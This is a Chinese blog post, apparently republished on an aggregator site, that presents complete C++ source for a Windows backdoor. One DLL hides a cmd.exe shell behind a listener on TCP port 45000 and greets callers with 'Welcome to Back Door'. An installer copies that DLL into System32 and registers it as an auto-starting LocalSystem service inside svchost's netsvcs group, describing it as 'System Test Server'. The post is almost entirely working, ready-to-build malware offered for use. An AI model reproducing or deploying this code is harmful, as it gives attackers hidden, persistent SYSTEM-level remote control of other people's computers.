美文网首页
安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

作者: PeterZ1997 | 来源:发表于2018-08-15 00:12 被阅读0次

    简介

    在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:

    1. 编写dll文件封装ServiceMain导出函数
    2. 编写负责服务安装与移除的exe文件
    3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。

    C++代码样例

    1. DLL程序代码:
    ///////////////////////////////////////
    //
    // FileName : sysWork.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-8 22:07
    // Comment : Dll of ServiceMain Function
    //
    ///////////////////////////////////////
    
    #include <cstdio>
    #include <iostream>
    #include <cstdlib>
    #include <cstring>
    #include <strsafe.h>
    #include <WinSock2.h>
    #include <winsock.h>
    #include <windows.h>
    #include <winsvc.h>
    
    using namespace std;
    #pragma comment(lib, "ws2_32.lib")
    
    SERVICE_STATUS g_ServiceStatus;
    SERVICE_STATUS_HANDLE g_hServiceStatus;
    
    const unsigned int MAX_COUNT = 255; /// String Max Length
    const DWORD PORT = 45000;           /// Listen Port
    const unsigned int LINK_COUNT = 30; /// Max Link Number
    
    
    /**
     * @brief CallBack Function to Translate Service Control Code
     * @param dwCode        Service Control Code
     */
    void WINAPI ServiceControl(DWORD dwCode)
    {
        switch (dwCode)
        {
            //服务暂停
        case SERVICE_CONTROL_PAUSE:
            g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
            break;
            //服务继续
        case SERVICE_CONTROL_CONTINUE:
            g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
            break;
            //服务停止
        case SERVICE_CONTROL_STOP:
            g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            g_ServiceStatus.dwWin32ExitCode = 0;
            g_ServiceStatus.dwCheckPoint = 0;
            g_ServiceStatus.dwWaitHint = 0;
            break;
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
        }
        //设置服务状态
        if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
        {
            printf("Set Service Status Error\n");
        }
        return;
    }
    
    /**
     * @brief Start Remote Shell
     * @param lpParam       the Client Handle
     */
    DWORD WINAPI StartShell(LPVOID lpParam)
    {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        CHAR cmdline[MAX_COUNT] = { 0 };
        GetStartupInfo(&si);
        si.cb = sizeof(STARTUPINFO);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        GetSystemDirectory(cmdline, sizeof(cmdline));
        strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
        while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
        {
            Sleep(100);
        }
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 0;
    }
    
    
    /**
     * @brief Service Running Function
     * @param lpParam      NULL
     */
    DWORD WINAPI RunService(LPVOID lpParam)
    {
        CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
        SOCKET sClient[30];
        DWORD dwThreadId[30];
        HANDLE hThread[30];
        WSADATA wsd;
        if (WSAStartup(0x0202, &wsd))
        {
            printf("WSAStartup Process Error\n");
            return 0;
        }
        SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(PORT);
        sin.sin_addr.S_un.S_addr = INADDR_ANY;
        if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
        if (listen(sListen, LINK_COUNT)) return 0;
        for (int i = 0; i < LINK_COUNT; i++)
        {
            sClient[i] = accept(sListen, NULL, NULL);
            hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
            send(sClient[i], wMessage, strlen(wMessage), 0);
        }
        WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
        return 0;
    }
    
    /**
     * @brief Export Function
     */
    extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
    {
        HANDLE hThread;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
        g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
        g_ServiceStatus.dwServiceSpecificExitCode = 0;
        g_ServiceStatus.dwServiceType = SERVICE_WIN32;
        g_ServiceStatus.dwWaitHint = 0;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
        if (!g_hServiceStatus)
        {
            printf("Register Service Error\n");
            return;
        }
        g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwWaitHint = 0;
        if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
        {
            printf("Set ServiceStatus Error !\n");
            return;
        }
        hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
        if (!hThread)
        {
            printf("Create Thread Error\n");
        }
        return;
    }
    
    /**
     * @brief DLL Main Function
     */
    BOOL APIENTRY DllMain(HANDLE hModule,
        DWORD ul_reason_for_call,
        LPVOID lpReserved)
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_DETACH:
        {
            ServiceControl(SERVICE_CONTROL_STOP);
            break;
        }
        default:
            break;
        }
        return TRUE;
    }
    

    2 . EXE程序代码:

    //////////////////////////////////////////////
    //
    // FileName : SVCHostDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-8 01:17
    // Comment : use SVCHost.exe to achieve software auto-run
    //
    //////////////////////////////////////////////
    
    #include <iostream>
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include "strsafe.h"
    #include <windows.h>
    #include <winsvc.h>
    #include <shlwapi.h>
    #pragma comment(lib, "shlwapi.lib")
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;      //字符串长度
    CHAR szRegInfo[MAX_COUNT] = "\0";        //注册表信息缓冲区
    SC_HANDLE g_hServiceHandle;              //服务实例句柄
    SERVICE_STATUS g_ssServiceStatus;        //服务状态结构体
    SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄
    
    /**
     * @brief 封装REG_MULTI_SZ型注册表操作
     * @param hRoot            root key
     * @param szSubKey         sub key after the root key
     * @param szValueName      key name
     * @param szData           key Data
     * @param cp               length of (BYTE*)szValue
     */
    BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief 封装REG_SZ型注册表操作
     * @param hRoot             root key
     * @param szSubKey          sub key after the root key
     * @param szValueName       key name
     * @param szData            key Data
     */
    BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    /**
    * @brief 封装REG_EXPAND_SZ型注册表操作
    * @param hRoot           root key
    * @param szSubKey        sub key after the root key
    * @param szValueName     key name
    * @param szData          key Data
    */
    BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief 封装DWORD型注册表操作
     * @param hRoot          root key
     * @param szSubKey       sub key after the root key
     * @param szValueName    key name
     * @param szData         key Data
     */
    BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief get Registry Value Info(REG_MULTI_SZ)
     * @param hRoot         root key
     * @param szSubKey      sub key after the root key
     * @param szValueName   key name
     */
    BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
    {
        HKEY hKey;
        DWORD dwType = REG_MULTI_SZ;
        DWORD dwLenData = strlen(szRegInfo);
        LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
        if (lRes != ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            RegCloseKey(hRoot);
            return false;
        }
        RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
        lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
        if (lRes != ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            RegCloseKey(hRoot);
            return false;
        }
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief CallBack Function to Translate Service Control Code
     * @param dwCode       Service Control Code
     */
    void WINAPI ServiceControl(DWORD dwCode)
    {
        switch (dwCode)
        {
        case SERVICE_CONTROL_PAUSE:
            g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
            break;
        case SERVICE_CONTROL_CONTINUE:
            g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
            break;
        case SERVICE_CONTROL_STOP:
            g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
            g_ssServiceStatus.dwWin32ExitCode = 0;
            g_ssServiceStatus.dwCheckPoint = 0;
            g_ssServiceStatus.dwWaitHint = 0;
            break;
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
        }
        if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
        {
            printf("Set Service Status Error\n");
        }
        return;
    }
    
    /**
     * @brief 安装服务
     */
    BOOL InstallService()
    {
        CHAR szSysPath[MAX_COUNT] = "\0";
        CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
        CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
        memset(szTargetString, 0, sizeof(szTargetString));
        register int count = 0;
        register int cp = 0;
        GetSystemDirectory(szSysPath, sizeof(szSysPath));
        StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
        CopyFile("sysWork.dll", szSysPath, true);
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server");
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService");
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001);
        setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs");
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem");
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002);
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010);
        setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath);
        getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
        register LPSTR p = LPSTR(szRegInfo);
        for (; *p; p += strlen(p) + 1, count++)
        {
            StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
        }
        StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
        p = LPSTR(szTargetString);
        for (int i = 0; i <= count; i++)
        {
            strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
            p += strlen(szRegGroup[i]) + 1;
            cp += strlen(szRegGroup[i]) + 1;
        }
        setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
        return true;
    }
    
    /**
     * @brief 移除服务
     */
    BOOL RemoveService()
    {
        SC_HANDLE hscManager;
        CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
        CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
        memset(szTargetString, 0, sizeof(szTargetString));
        register int count = 0;
        register int cp = 0;
        CHAR szSysPath[MAX_COUNT] = "\0";
        GetSystemDirectory(szSysPath, sizeof(szSysPath));
        StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
        hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
        if (!hscManager)
        {
            printf("Open Service Manager Error\n");
            return false;
        }
        printf("Open Service Manager Success\n");
        g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
        if (!g_hServiceHandle)
        {
            printf("Open Service Error\n");
            return false;
        }
        printf("Open Service Success\n");
        if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
        {
            if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
            {
                ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
            }
        }
        else
        {
            printf("Service Status Get Error\n");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        if (!DeleteService(g_hServiceHandle))
        {
            printf("Delete Service Error\n");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService"))
        {
            printf("Delete RegKey Error\n");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        memset(szRegInfo, 0, sizeof(szRegInfo));
        getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
        register LPSTR p = LPSTR(szRegInfo);
        for (; *p; p += strlen(p) + 1)
        {
            if (!strcmp(p, "NewService"))
            {
                continue;
            }
            StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
            count++;
        }
        p = LPSTR(szTargetString);
        for (int i = 0; i <= count; i++)
        {
            strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
            p += strlen(szRegGroup[i]) + 1;
            cp += strlen(szRegGroup[i]) + 1;
        }
        setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
        printf("Remove Service Success\n");
        DeleteFile(szSysPath);
        CloseServiceHandle(g_hServiceHandle);
        CloseServiceHandle(hscManager);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int main(int argc, char* argv[])
    {
        if (argc == 2)
        {
            if (!stricmp(argv[1], "--install"))
            {
                if (!InstallService())
                {
                    printf("[!]Service Operation Error\n");
                }
                else
                {
                    printf("[*]Service Operation Success\n");
                }
            }
            else if (!stricmp(argv[1], "--remove"))
            {
                if (!RemoveService())
                {
                    printf("[!]Service Operation Error\n");
                }
                else
                {
                    printf("[*]Service Operation Success\n");
                }
            }
            else
            {
                printf("[Usage] => *.exe [--install]/[--remove]\n");
            }
        }
        else {
            printf("[Usage] => *.exe [--install]/[--remove]\n");
        }
        return 0;
    }
    

    相关文章

      网友评论

          本文标题:安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

          本文链接:https://www.haomeiwen.com/subject/ywtybftx.html